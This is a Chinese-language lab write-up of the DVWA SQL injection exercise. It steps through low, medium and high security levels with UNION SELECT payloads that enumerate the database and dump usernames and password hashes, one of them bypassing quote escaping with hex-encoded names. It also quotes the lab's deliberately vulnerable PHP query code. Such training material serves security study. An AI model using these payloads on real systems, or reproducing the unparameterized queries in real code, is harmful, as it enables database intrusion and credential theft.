SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
在参数后面添加
'(引号),查看是否页面返回一样


- 添加引号后,页面返回不一样,说明存在SQL注入漏洞;
- 从URL可以看出,该SQL注入漏洞属于GET型。

1 and 1=1

1 and 1=2

页面返回一致,故,属于字符型注入。
1' order by 2 #

1' order by 3 #

故,字段数为2。
1' union select 1,2 #

1' union select 1,database() #

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}"; // Increase loop count $i++; } mysql_close(); } ?>
First name: {$first}
Surname: {$last}
分析:
REQUEST 变量在默认情况下包含了 GET,POST 和 COOKIE 的数组。由此可见源码对输入的 id 完全信任,没有做任何过滤。mysqli_query 函数用该语句对某个数据库进行查询。mysql_result函数返回查询结果中各个字段的内容。随便提交一个ID,页面回显如下:

抓包,发现这里属于POST传参。

在参数后面添加一个
',发现页面报错,报错信息显示'被转义,故此种方法不能判断该页面是否存在SQL注入漏洞。那就换一个~

此处,既可以判断是否存在SQL注入漏洞,也可判断SQL注入类型。

1 and 1=1

1 and 1=2

页面返回不一致,故属于数字型注入。
1 order by <数字> #,注意:order by之前的语句为真。


可知,该表中含有两个字段。
1 union select 1,2 #

1 union select 1,database() #

单引号被转义,故采取以下方式进行绕过:
database()代替数据库名;1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #

1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x64767761) #

1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273) #

1 union select 1,(select group_concat(concat(user,0x7E,password)) from dvwa.users) #
0x7E就是~的16进制形式。

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( ''
. mysql_error() . '' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}"; // Increase loop count $i++; } //mysql_close(); } ?>
First name: {$first}
Surname: {$last}
分析:
mysql_real_escape_string() 函数转义字符串中的特殊字符,也就是说特殊符号 \x00、\n、\r、\、'、" 和 \x1a 都将进行转义。
payload:在参数后面加一个
',来判断是否存在SQL注入。


用
1 and 1=1和1 and 1=2来判断属于字符型注入还是数字型注入。


两次页面返回一致,故属于字符型注入,下一步将判断闭合符号。


由此,可知 属于单引号闭合。
1' order by <数字> #


1' union select 1,2 #

1' union select 1,database() #

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #

1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( 'Something went wrong.
' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
// Increase loop count
$i++;
}
mysql_close();
}
?>
分析:
LIMIT 1,这令服务器仅回显查询到的一个结果。